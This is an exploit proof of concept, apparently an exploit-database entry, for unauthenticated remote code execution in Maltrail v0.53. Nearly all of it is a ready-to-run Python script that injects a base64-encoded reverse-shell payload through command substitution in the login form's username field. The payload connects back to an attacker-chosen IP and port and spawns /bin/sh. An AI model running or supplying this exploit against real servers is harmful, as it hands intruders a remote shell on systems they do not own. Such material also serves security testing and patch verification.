Maltrail 0.53 Remote Code Execution

# Exploit Title: Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE)
# Exploit Author: Iyaad Luqman K (init_6)
# Application: Maltrail v0.53
# Tested on: Ubuntu 22.04
# CVE: CVE-2023-27163


# PoC
import sys;
import os;
import base64;

def main():
  listening_IP = None
  listening_PORT = None
  target_URL = None

  if len(sys.argv) != 4:
    print("Error. Needs listening IP, PORT and target URL.")
    return(-1)
  
  listening_IP = sys.argv[1]
  listening_PORT = sys.argv[2]
  target_URL = sys.argv[3] + "/login"
  print("Running exploit on " + str(target_URL))
  curl_cmd(listening_IP, listening_PORT, target_URL)

def curl_cmd(my_ip, my_port, target_url):
  payload = f'python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")''
  encoded_payload = base64.b64encode(payload.encode()).decode()  # encode the payload in Base64
  command = f"curl '{target_url}' --data 'username=;`echo+"{encoded_payload}"+|+base64+-d+|+sh`'"
  os.system(command)

if __name__ == "__main__":
  main()